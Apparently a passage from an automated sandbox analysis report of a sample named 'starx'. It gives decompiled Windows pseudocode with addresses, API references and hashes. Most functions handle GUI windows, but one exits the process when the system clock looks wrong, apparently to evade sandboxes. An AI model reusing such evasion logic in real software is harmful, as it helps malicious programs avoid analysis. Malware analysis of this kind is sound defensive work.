								 *[fs:eax] = _t311;
								_push(0x45117a);
								return E00403FC0( &_v52);
							}
						}
					}
				}
				L69:
			}

0x00450c41
0x00450c43
0x00450c4b
0x00450c4e
0x00450c50
0x00450c55
0x00450c56
0x00450c5b
0x00450c5e
0x00450c61
0x00450c63
0x00450c68
0x00450c8a
0x00450c8a
0x00450c8f
0x00450cde
0x00450cdf
0x00450ce1
0x00000000
0x00450ce7
0x00450ce7
0x00450ce8
0x00450ce8
0x00450cea
0x00450cf7
0x00450cfc
0x00450cfe
0x00000000
0x00000000
0x00450d04
0x00450d05
0x00450d05
0x00450d06
0x00000000
0x00450d08
0x00000000
0x00450d08
0x00000000
0x00450d06
0x00450cea
0x00450c91
0x00450c91
0x00450c91
0x00450c94
0x00450d0d
0x00450d11
0x00450d15
0x00450d17
0x00450d17
0x00450d21
0x00450d22
0x00450d24
0x00450d9a
0x00450d9a
0x00450da3
0x00000000
0x00450d26
0x00450d26
0x00450d27
0x00450d27
0x00450d29
0x00450d29
0x00450d2d
0x00450d53
0x00450d2f
0x00450d2f
0x00450d32
0x00450d34
0x00450d46
0x00450d36
0x00450d41
0x00450d41
0x00450d34
0x00450d5b
0x00450d60
0x00450d6b
0x00450d6e
0x00450d72
0x00000000
0x00000000
0x00450d96
0x00450d97
0x00450d97
0x00450d98
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00450d98
0x00450d7d
0x00450d85
0x00450d8c
0x00450d8c
0x00450c96
0x00450c96
0x00450c97
0x00451100
0x00451101
0x00451103
0x00000000
0x00451105
0x00451105
0x00451106
0x00451106
0x00451108
0x00451112
0x0045111a
0x0045111d
0x00451120
0x00000000
0x00000000
0x0045112a
0x0045112f
0x00451131
0x0045113f
0x00451140
0x00451140
0x00451141
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00451131
0x00451138
0x00451138
0x00450c9d
0x00000000
0x00450c9d
0x00450c97
0x00450c94
0x00000000
0x00450c6a
0x00450c6a
0x00450ca8
0x00450ca9
0x00450cab
0x00000000
0x00450cb1
0x00450cb1
0x00450cb2
0x00450cb2
0x00450cb4
0x00450cb9
0x00450cc2
0x00450cc7
0x00450cc9
0x00000000
0x00000000
0x00450ccf
0x00450cd0
0x00450cd0
0x00450cd1
0x00000000
0x00450cd3
0x00000000
0x00450cd3
0x00000000
0x00450cd1
0x00450cb4
0x00000000
0x00450c6c
0x00450c6c
0x00450c6f
0x00450eb2
0x00450ebb
0x00450ebc
0x00450ebe
0x00000000
0x00450ec4
0x00450ec4
0x00450ec5
0x00450ec5
0x00450ec7
0x00450ede
0x00450ee1
0x00450ee5
0x00000000
0x00000000
0x00450fad
0x00450fae
0x00450fae
0x00450faf
0x00000000
0x00450fb5
0x00000000
0x00450fb5
0x00000000
0x00450faf
0x00450ef7
0x00450efc
0x00450efd
0x00450f02
0x00450f05
0x00450f14
0x00450f19
0x00450f1a
0x00450f1f
0x00450f22
0x00450f2e
0x00450f43
0x00450f5c
0x00450f63
0x00450f66
0x00450f69
0x00450f6e
0x00450f73
0x00450f88
0x00450f88
0x00450c75
0x00450c75
0x00450c76
0x00450fbd
0x00450fc6
0x00450fc7
0x00450fc9
0x00000000
0x00450fcf
0x00450fcf
0x00450fd0
0x00450fd0
0x00450fd2
0x00450fe9
0x00450fec
0x00450ff0
0x00000000
0x00000000
0x004510f0
0x004510f1
0x004510f1
0x004510f2
0x00000000
0x004510f8
0x00000000
0x004510f8
0x00000000
0x004510f2
0x00450ff9
0x00450ffd
0x00451002
0x00451010
0x0045101f
0x0045102d
0x00451039
0x00451047
0x00451050
0x00451065
0x0045107f
0x00451084
0x00451087
0x0045108a
0x0045108f
0x00451094
0x004510a6
0x004510a6
0x00450c7c
0x00450c7f
0x00450db0
0x00450db9
0x00450dba
0x00450dbc
0x00000000
0x00450dc2
0x00450dc2
0x00450dc3
0x00450dc3
0x00450dc5
0x00450dd1
0x00450dd4
0x00450dd7
0x00450dda
0x00450e05
0x00450ddc
0x00450de9
0x00450de9
0x00450e08
0x00450e0c
0x00000000
0x00000000
0x00450ea2
0x00450ea3
0x00450ea3
0x00450ea4
0x00000000
0x00450eaa
0x00000000
0x00450eaa
0x00000000
0x00450ea4
0x00450e24
0x00450e29
0x00450e2b
0x00450e32
0x00450e3d
0x00450e3f
0x00450e3f
0x00450e44
0x00450e4c
0x00450e4f
0x00450e51
0x00450e57
0x00450e59
0x00450e60
0x00450e60
0x00450e66
0x00450e6c
0x00450e73
0x00450e8f
0x00450e98
0x00450e75
0x00450e85
0x00450e85
0x00450e73
0x00450e51
0x00450c85
0x00451143
0x00451146
0x0045114a
0x0045114d
0x00451151
0x00451154
0x00451155
0x0045115a
0x0045115a
0x0045115d
0x0045115f
0x00451162
0x00451165
0x00451172
0x00451172
0x00450c76
0x00450c6f
0x00450c6a
0x00000000

APIs

SaveDC.GDI32(?), ref: 00450F0F
RestoreDC.GDI32(?,?), ref: 00450F83
739EB080.USER32(?,00000000,00451173), ref: 00450FFD
SaveDC.GDI32(?), ref: 00451034
RestoreDC.GDI32(?,?), ref: 004510A1
NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,00451173), ref: 00451155

Strings

|wC, xrefs: 00450EED, 00451015

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: RestoreSave$B080NtdllProc_Window
String ID: |wC
API String ID: 4024241980-755087165
Opcode ID: db291d904cbe3059a161e43509b1ff0f0e4e24baa89f41be2870ec5800b48e1d
Instruction ID: cb1a835c4c8471641a33d75fbd09070c40eb488d992ffc17d03d0f97e131e38a
Opcode Fuzzy Hash: db291d904cbe3059a161e43509b1ff0f0e4e24baa89f41be2870ec5800b48e1d
Instruction Fuzzy Hash: D7E18F74A00609DFCB10DFA9C881A9EF3F5FF48305B2185A6E905A7326C778ED49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004435B4, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E004435B4(void* __eax) {
				void* _v28;
				struct _WINDOWPLACEMENT _v56;
				struct tagPOINT _v64;
				intOrPtr _v68;
				void* _t43;
				struct HWND__* _t45;
				struct tagPOINT* _t47;

				_t47 =  &(_v64.y);
				_t43 = __eax;
				if(IsIconic( *(__eax + 0x180)) == 0) {
					GetWindowRect( *(_t43 + 0x180), _t47);
				} else {
					_v56.length = 0x2c;
					GetWindowPlacement( *(_t43 + 0x180),  &_v56);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
				}
				if((GetWindowLongA( *(_t43 + 0x180), 0xfffffff0) & 0x40000000) != 0) {
					_t45 = GetWindowLongA( *(_t43 + 0x180), 0xfffffff8);
					if(_t45 != 0) {
						ScreenToClient(_t45, _t47);
						ScreenToClient(_t45,  &_v64);
					}
				}
				 *(_t43 + 0x40) = _t47->x;
				 *((intOrPtr*)(_t43 + 0x44)) = _v68;
				 *((intOrPtr*)(_t43 + 0x48)) = _v64.x - _t47->x;
				 *((intOrPtr*)(_t43 + 0x4c)) = _v64.y.x - _v68;
				return E0043C110(_t43);
			}

0x004435b7
0x004435ba
0x004435ca
0x004435f9
0x004435cc
0x004435cc
0x004435e0
0x004435eb
0x004435ec
0x004435ed
0x004435ee
0x004435ee
0x00443611
0x00443621
0x00443625
0x00443629
0x00443634
0x00443634
0x00443625
0x0044363c
0x00443643
0x0044364d
0x00443658
0x00443668

APIs

IsIconic.USER32 ref: 004435C3
GetWindowPlacement.USER32(?,0000002C), ref: 004435E0
GetWindowRect.USER32 ref: 004435F9
GetWindowLongA.USER32 ref: 00443607
GetWindowLongA.USER32 ref: 0044361C
ScreenToClient.USER32 ref: 00443629
ScreenToClient.USER32 ref: 00443634

Strings

,, xrefs: 004435CC

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: f92bda0ffb2170cf3c4d94935169faa3b9fdb6052b8065fff7da315af1f68583
Instruction ID: f35a8a81c3dfa59fc8e4357ce2ae3440b27bcce46eee43ab5ba9a11d4820e169
Opcode Fuzzy Hash: f92bda0ffb2170cf3c4d94935169faa3b9fdb6052b8065fff7da315af1f68583
Instruction Fuzzy Hash: CE118E71501201ABCB51EF6DC885A8B37D8AF09314F05493EFD58DB386DB39DA048B65

Uniqueness

Uniqueness Score: -1.00%

Function 00455F90, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 284
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00455F90(intOrPtr __eax, struct HWND__** __edx) {
				intOrPtr _v8;
				int _v12;
				intOrPtr _v16;
				struct HDC__* _v20;
				struct HWND__* _v24;
				void* __ebp;
				struct HWND__* _t92;
				intOrPtr _t112;
				intOrPtr _t115;
				struct HWND__* _t121;
				struct HWND__* _t124;
				intOrPtr _t128;
				struct HWND__* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				struct HWND__* _t133;
				struct HWND__* _t136;
				intOrPtr _t142;
				intOrPtr _t172;
				struct HDC__* _t177;
				struct HWND__** _t200;
				struct HWND__* _t218;
				struct HWND__* _t219;
				intOrPtr _t228;
				void* _t230;
				void* _t231;
				intOrPtr _t237;
				intOrPtr _t245;
				struct HWND__* _t249;
				struct HWND__* _t250;
				struct HWND__* _t255;
				struct HWND__* _t256;
				void* _t258;
				void* _t260;
				intOrPtr _t261;
				void* _t263;
				void* _t267;

				_t258 = _t260;
				_t261 = _t260 + 0xffffffec;
				_t200 = __edx;
				_v8 = __eax;
				_t92 =  *__edx;
				_t218 = _t92;
				_t263 = _t218 - 0x46;
				if(_t263 > 0) {
					_t219 = _t218 - 0xb01a;
					__eflags = _t219;
					if(_t219 == 0) {
						__eflags =  *(_v8 + 0xa0);
						if(__eflags != 0) {
							E0040346C(_v8, __eflags);
						}
					} else {
						__eflags = _t219 == 1;
						if(_t219 == 1) {
							__eflags =  *(_v8 + 0xa0);
							if(__eflags != 0) {
								E0040346C(_v8, __eflags);
							}
						} else {
							goto L41;
						}
					}
					goto L43;
				} else {
					if(_t263 == 0) {
						_t112 = _v8;
						_t228 =  *0x4563c4; // 0x1
						__eflags = _t228 - ( *(_t112 + 0x1c) &  *0x4563c0);
						if(_t228 == ( *(_t112 + 0x1c) &  *0x4563c0)) {
							_t115 = _v8;
							__eflags =  *((intOrPtr*)(_t115 + 0x230)) - 0xffffffffffffffff;
							if( *((intOrPtr*)(_t115 + 0x230)) - 0xffffffffffffffff < 0) {
								_t128 = _v8;
								__eflags =  *((char*)(_t128 + 0x22b)) - 2;
								if( *((char*)(_t128 + 0x22b)) != 2) {
									_t129 = __edx[2];
									_t26 = _t129 + 0x18;
									 *_t26 =  *(_t129 + 0x18) | 0x00000002;
									__eflags =  *_t26;
								}
							}
							_t121 =  *((intOrPtr*)(_v8 + 0x230)) - 1;
							__eflags = _t121;
							if(_t121 == 0) {
								L30:
								_t124 =  *((intOrPtr*)(_v8 + 0x229)) - 2;
								__eflags = _t124;
								if(_t124 == 0) {
									L32:
									 *( *((intOrPtr*)(_t200 + 8)) + 0x18) =  *( *((intOrPtr*)(_t200 + 8)) + 0x18) | 0x00000001;
								} else {
									__eflags = _t124 == 3;
									if(_t124 == 3) {
										goto L32;
									}
								}
							} else {
								__eflags = _t121 == 2;
								if(_t121 == 2) {
									goto L30;
								}
							}
						}
						goto L43;
					} else {
						_t230 = _t218 + 0xfffffffa - 3;
						if(_t230 < 0) {
							__eflags =  *0x467d90;
							if( *0x467d90 != 0) {
								__eflags =  *__edx - 7;
								if( *__edx != 7) {
									goto L43;
								} else {
									_t130 = _v8;
									__eflags =  *(_t130 + 0x1c) & 0x00000010;
									if(( *(_t130 + 0x1c) & 0x00000010) != 0) {
										goto L43;
									} else {
										_t255 = 0;
										_t131 = _v8;
										__eflags =  *((char*)(_t131 + 0x22f)) - 2;
										if( *((char*)(_t131 + 0x22f)) != 2) {
											_t133 =  *(_v8 + 0x220);
											__eflags = _t133;
											if(_t133 != 0) {
												__eflags = _t133 - _v8;
												if(_t133 != _v8) {
													_t255 = E004432A4(_t133);
												}
											}
										} else {
											_t136 = E004568BC(_v8);
											__eflags = _t136;
											if(_t136 != 0) {
												_t255 = E004432A4(E004568BC(_v8));
											}
										}
										__eflags = _t255;
										if(_t255 == 0) {
											goto L43;
										} else {
											_t92 = SetFocus(_t255);
										}
									}
								}
							}
							goto L44;
						} else {
							_t231 = _t230 - 0x22;
							if(_t231 == 0) {
								_v24 = __edx[2];
								__eflags = _v24->i - 1;
								if(_v24->i != 1) {
									goto L43;
								} else {
									_t142 = _v8;
									__eflags =  *(_t142 + 0x248);
									if( *(_t142 + 0x248) == 0) {
										goto L43;
									} else {
										_t249 = E0044FF30( *((intOrPtr*)(_v8 + 0x248)), 0,  *((intOrPtr*)(_v24 + 8)));
										__eflags = _t249;
										if(_t249 == 0) {
											goto L43;
										} else {
											_v16 = E0041D3A8(0, 1);
											_push(_t258);
											_push(0x456209);
											_push( *[fs:eax]);
											 *[fs:eax] = _t261;
											_v12 = SaveDC( *(_v24 + 0x18));
											_push(_t258);
											_push(0x4561ec);
											_push( *[fs:eax]);
											 *[fs:eax] = _t261;
											E0041DAD8(_v16,  *(_v24 + 0x18));
											E0041D978(_v16);
											E00451418(_t249, _v24 + 0x1c, _v16,  *((intOrPtr*)(_v24 + 0x10)));
											_pop(_t237);
											 *[fs:eax] = _t237;
											_push(0x4561f3);
											__eflags = 0;
											E0041DAD8(_v16, 0);
											return RestoreDC( *(_v24 + 0x18), _v12);
										}
									}
								}
							} else {
								if(_t231 == 1) {
									_t256 = __edx[2];
									__eflags = _t256->i - 1;
									if(_t256->i != 1) {
										goto L43;
									} else {
										_t172 = _v8;
										__eflags =  *(_t172 + 0x248);
										if( *(_t172 + 0x248) == 0) {
											goto L43;
										} else {
											_t250 = E0044FF30( *((intOrPtr*)(_v8 + 0x248)), 0,  *((intOrPtr*)(_t256 + 8)));
											__eflags = _t250;
											if(_t250 == 0) {
												goto L43;
											} else {
												_t177 = E004432A4(_v8);
												L004066DC();
												_v20 = _t177;
												 *[fs:eax] = _t261;
												_v16 = E0041D3A8(0, 1);
												 *[fs:eax] = _t261;
												_v12 = SaveDC(_v20);
												 *[fs:eax] = _t261;
												E0041DAD8(_v16, _v20);
												E0041D978(_v16);
												 *((intOrPtr*)(_t250->i + 0x38))(_t256 + 0x10,  *[fs:eax], 0x4562f3, _t258,  *[fs:eax], 0x456310, _t258,  *[fs:eax], 0x456337, _t258, _t177);
												_pop(_t245);
												 *[fs:eax] = _t245;
												_push(0x4562fa);
												__eflags = 0;
												E0041DAD8(_v16, 0);
												return RestoreDC(_v20, _v12);
											}
										}
									}
								} else {
									L41:
									_t267 = _t92 -  *0x47fbc4; // 0xc075
									if(_t267 == 0) {
										E0043DC70(_v8, 0, 0xb025, 0);
										E0043DC70(_v8, 0, 0xb024, 0);
										E0043DC70(_v8, 0, 0xb035, 0);
										E0043DC70(_v8, 0, 0xb009, 0);
										E0043DC70(_v8, 0, 0xb008, 0);
										E0043DC70(_v8, 0, 0xb03d, 0);
									}
									L43:
									_t92 = E00440CB8(_v8, _t200);
									L44:
									return _t92;
								}
							}
						}
					}
				}
			}

0x00455f91
0x00455f93
0x00455f99
0x00455f9b
0x00455f9e
0x00455fa0
0x00455fa2
0x00455fa5
0x00455fca
0x00455fca
0x00455fd0
0x0045607c
0x00456083
0x00456090
0x00456090
0x00455fd6
0x00455fd6
0x00455fd7
0x0045605b
0x00456062
0x0045606f
0x0045606f
0x00455fd9
0x00000000
0x00455fd9
0x00455fd7
0x00000000
0x00455fa7
0x00455fa7
0x0045609a
0x004560a8
0x004560af
0x004560b2
0x004560b8
0x004560c2
0x004560c4
0x004560c6
0x004560c9
0x004560d0
0x004560d2
0x004560d5
0x004560d5
0x004560d5
0x004560d5
0x004560d0
0x004560e2
0x004560e2
0x004560e4
0x004560ee
0x004560f7
0x004560f7
0x004560f9
0x00456103
0x00456106
0x004560fb
0x004560fb
0x004560fd
0x00000000
0x00000000
0x004560fd
0x004560e6
0x004560e6
0x004560e8
0x00000000
0x00000000
0x004560e8
0x004560e4
0x00000000
0x00455fad
0x00455fb0
0x00455fb3
0x00455fde
0x00455fe5
0x00455feb
0x00455fee
0x00000000
0x00455ff4
0x00455ff4
0x00455ff7
0x00455ffb
0x00000000
0x00456001
0x00456001
0x00456003
0x00456006
0x0045600d
0x0045602f
0x00456035
0x00456037
0x00456039
0x0045603c
0x00456043
0x00456043
0x0045603c
0x0045600f
0x00456012
0x00456017
0x00456019
0x00456028
0x00456028
0x00456019
0x00456045
0x00456047
0x00000000
0x0045604d
0x0045604e
0x0045604e
0x00456047
0x00455ffb
0x00455fee
0x00000000
0x00455fb5
0x00455fb5
0x00455fb8
0x00456112
0x00456118
0x0045611b
0x00000000
0x00456121
0x00456121
0x00456124
0x0045612b
0x00000000
0x00456131
0x00456147
0x00456149
0x0045614b
0x00000000
0x00456151
0x0045615d
0x00456162
0x00456163
0x00456168
0x0045616b
0x0045617a
0x0045617f
0x00456180
0x00456185
0x00456188
0x00456194
0x004561a7
0x004561bf
0x004561c6
0x004561c9
0x004561cc
0x004561d1
0x004561d6
0x004561eb
0x004561eb
0x0045614b
0x0045612b
0x00455fbe
0x00455fbf
0x00456210
0x00456213
0x00456216
0x00000000
0x0045621c
0x0045621c
0x0045621f
0x00456226
0x00000000
0x0045622c
0x0045623f
0x00456241
0x00456243
0x00000000
0x00456249
0x0045624c
0x00456252
0x00456257
0x00456265
0x00456274
0x00456282
0x0045628e
0x0045629c
0x004562a5
0x004562b8
0x004562cb
0x004562d0
0x004562d3
0x004562d6
0x004562db
0x004562e0
0x004562f2
0x004562f2
0x00456243
0x00456226
0x00455fc5
0x0045633e
0x0045633e
0x00456344
0x00456352
0x00456363
0x00456374
0x00456385
0x00456396
0x004563a7
0x004563a7
0x004563ac
0x004563b1
0x004563b6
0x004563bc
0x004563bc
0x00455fbf
0x00455fb8
0x00455fb3
0x00455fa7

APIs

SetFocus.USER32(00000000), ref: 0045604E
SaveDC.GDI32(?), ref: 00456175
RestoreDC.GDI32(?,?), ref: 004561E6
739EB080.USER32(00000000), ref: 00456252
SaveDC.GDI32(?), ref: 00456289
RestoreDC.GDI32(?,?), ref: 004562ED

Strings

|wC, xrefs: 00456153, 0045626A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: RestoreSave$B080Focus
String ID: |wC
API String ID: 809140284-755087165
Opcode ID: 4a28132fc66456b2e7a1ef70ffa027b4184703df6d285911523f68ec6193501a
Instruction ID: d29fbdf2c1c0d9d40c9ed204252e12854545526db2fd000aa444e43f83b4b813
Opcode Fuzzy Hash: 4a28132fc66456b2e7a1ef70ffa027b4184703df6d285911523f68ec6193501a
Instruction Fuzzy Hash: 3EB18070A10104DFCB10DF69C585AAEB7F5EB49305FA640AAFC04AB362C739EE45DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00465E48, Relevance: 10.6, APIs: 7, Instructions: 52
timeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00465E48() {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				struct _SYSTEMTIME _v44;
				int _t12;
				void* _t16;

				GetSystemTime( &_v28);
				if(_v28.wYear < 0x7df) {
					_t16 = 0;
					ExitProcess(0);
				}
				_push(0);
				_push(0);
				_push(0);
				L004063E4();
				GetSystemTimeAsFileTime( &_v12);
				_t12 = FileTimeToSystemTime( &_v12,  &_v44);
				asm("sbb eax, eax");
				if(_t12 + 1 == 0) {
					_t16 = 1;
					ExitProcess(0);
				}
				if(_v44.wYear != _v28.wYear) {
					_t16 = 2;
					ExitProcess(0);
				}
				return _t16;
			}

0x00465e53
0x00465e64
0x00465e66
0x00465e6a
0x00465e6a
0x00465e6f
0x00465e71
0x00465e73
0x00465e75
0x00465e7e
0x00465e8f
0x00465e97
0x00465e9c
0x00465e9e
0x00465ea5
0x00465ea5
0x00465eba
0x00465ebc
0x00465ec3
0x00465ec3
0x00465ece

APIs

GetSystemTime.KERNEL32(?), ref: 00465E53
ExitProcess.KERNEL32(00000000,?), ref: 00465E6A
739EB410.GDI32(00000000,00000000,00000000,?), ref: 00465E75
GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000000,?), ref: 00465E7E
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000000,?), ref: 00465E8F
ExitProcess.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?), ref: 00465EA5
ExitProcess.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?), ref: 00465EC3

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Time$ExitProcessSystem$File$B410
String ID:
API String ID: 50928828-0
Opcode ID: 28a63c39958f687207c7f662283cb067fa93b9ad49765442d59f6ba1912c0231
Instruction ID: 3387385263433d6d481cdb1d80dc9a5c20a1e7df260b11c3fbb8e4eb846c0a1b
Opcode Fuzzy Hash: 28a63c39958f687207c7f662283cb067fa93b9ad49765442d59f6ba1912c0231
Instruction Fuzzy Hash: 4E018833D5422852EA20A7D88842BDE72AC9708B18F060277FF01F72C1E5BA9D5443D9

Uniqueness

Uniqueness Score: -1.00%

Function 0045C2F0, Relevance: 9.1, APIs: 6, Instructions: 86
windownativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0045C2F0(void* __eax) {
				struct HWND__* _t21;
				intOrPtr* _t26;
				signed int _t29;
				intOrPtr* _t30;
				int _t33;
				intOrPtr _t36;
				void* _t51;
				int _t60;

				_t51 = __eax;
				_t21 = IsIconic( *(__eax + 0x30));
				if(_t21 != 0) {
					SetActiveWindow( *(_t51 + 0x30));
					if( *((intOrPtr*)(_t51 + 0x44)) == 0 ||  *((char*)(_t51 + 0x5b)) == 0 &&  *((char*)( *((intOrPtr*)(_t51 + 0x44)) + 0x57)) == 0) {
						L6:
						E0045B258( *(_t51 + 0x30), 9, __eflags);
					} else {
						_t60 = IsWindowEnabled(E004432A4( *((intOrPtr*)(_t51 + 0x44))));
						if(_t60 == 0) {
							goto L6;
						} else {
							_push(0);
							_push(0xf120);
							_push(0x112);
							_push( *(_t51 + 0x30));
							L004064DC();
						}
					}
					_t26 =  *0x47e598; // 0x47f900
					_t29 =  *((intOrPtr*)( *_t26))(1, 0, 0, 0x40) >> 1;
					if(_t60 < 0) {
						asm("adc eax, 0x0");
					}
					_t30 =  *0x47e598; // 0x47f900
					_t33 =  *((intOrPtr*)( *_t30))(0, _t29) >> 1;
					if(_t60 < 0) {
						asm("adc eax, 0x0");
					}
					SetWindowPos( *(_t51 + 0x30), 0, _t33, ??, ??, ??, ??);
					_t36 =  *((intOrPtr*)(_t51 + 0x44));
					if(_t36 != 0 &&  *((char*)(_t36 + 0x22b)) == 1 &&  *((char*)(_t36 + 0x57)) == 0) {
						E00456F64(_t36, 0);
						E00459380( *((intOrPtr*)(_t51 + 0x44)));
					}
					E0045B938(_t51);
					_t21 =  *0x47fbbc; // 0x2331320
					_t55 =  *((intOrPtr*)(_t21 + 0x64));
					if( *((intOrPtr*)(_t21 + 0x64)) != 0) {
						_t21 = SetFocus(E004432A4(_t55));
					}
					if( *((short*)(_t51 + 0x122)) != 0) {
						return  *((intOrPtr*)(_t51 + 0x120))();
					}
				}
				return _t21;
			}

0x0045c2f2
0x0045c2f8
0x0045c2ff
0x0045c309
0x0045c312
0x0045c34c
0x0045c354
0x0045c323
0x0045c331
0x0045c333
0x00000000
0x0045c335
0x0045c335
0x0045c337
0x0045c33c
0x0045c344
0x0045c345
0x0045c345
0x0045c333
0x0045c361
0x0045c36a
0x0045c36c
0x0045c36e
0x0045c36e
0x0045c374
0x0045c37d
0x0045c37f
0x0045c381
0x0045c381
0x0045c38b
0x0045c390
0x0045c395
0x0045c3a8
0x0045c3b0
0x0045c3b0
0x0045c3b7
0x0045c3bc
0x0045c3c1
0x0045c3c6
0x0045c3d0
0x0045c3d0
0x0045c3dd
0x00000000
0x0045c3e7
0x0045c3dd
0x0045c3ef

APIs

IsIconic.USER32 ref: 0045C2F8
SetActiveWindow.USER32(?,?,?,?,0045BD19,00000000,0045C1DA), ref: 0045C309
IsWindowEnabled.USER32(00000000), ref: 0045C32C
NtdllDefWindowProc_A.USER32(?,00000112,0000F120,00000000,00000000,?,?,?,?,0045BD19,00000000,0045C1DA), ref: 0045C345
SetWindowPos.USER32(?,00000000,00000000,?,?,0045BD19,00000000,0045C1DA), ref: 0045C38B
SetFocus.USER32(00000000,?,00000000,00000000,?,?,0045BD19,00000000,0045C1DA), ref: 0045C3D0

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$ActiveEnabledFocusIconicNtdllProc_
String ID:
API String ID: 3996302123-0
Opcode ID: 801419e0f11676c5ce96d50730eabbcf0ccd849531708639d912e55ec6fb1b34
Instruction ID: f2fe4a0c76e82e67d6986fa6cc2f25456a0604cf33238c35627c728dfa1266f7
Opcode Fuzzy Hash: 801419e0f11676c5ce96d50730eabbcf0ccd849531708639d912e55ec6fb1b34
Instruction Fuzzy Hash: 6731E171700344AFEB11AB69CDC6B5A3798AF08709F4840A6BE44DF2D7D6BDEC488758

Uniqueness

Uniqueness Score: -1.00%

Function 00442C90, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00442C90(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
				void* _v20;
				struct _WINDOWPLACEMENT _v48;
				char _v64;
				void* _t31;
				int _t45;
				int _t51;
				void* _t52;
				int _t56;
				int _t58;

				_t56 = __ecx;
				_t58 = __edx;
				_t52 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x40)) || __ecx !=  *((intOrPtr*)(__eax + 0x44)) || _a8 !=  *((intOrPtr*)(__eax + 0x48))) {
					L4:
					if(E004435A8(_t52) == 0) {
						L7:
						 *(_t52 + 0x40) = _t58;
						 *(_t52 + 0x44) = _t56;
						 *((intOrPtr*)(_t52 + 0x48)) = _a8;
						 *((intOrPtr*)(_t52 + 0x4c)) = _a4;
						_t31 = E004435A8(_t52);
						__eflags = _t31;
						if(_t31 != 0) {
							_v48.length = 0x2c;
							GetWindowPlacement( *(_t52 + 0x180),  &_v48);
							E0043C45C(_t52,  &_v64);
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							SetWindowPlacement( *(_t52 + 0x180),  &_v48);
						}
						L9:
						E0043C110(_t52);
						return E0040346C(_t52, _t66);
					}
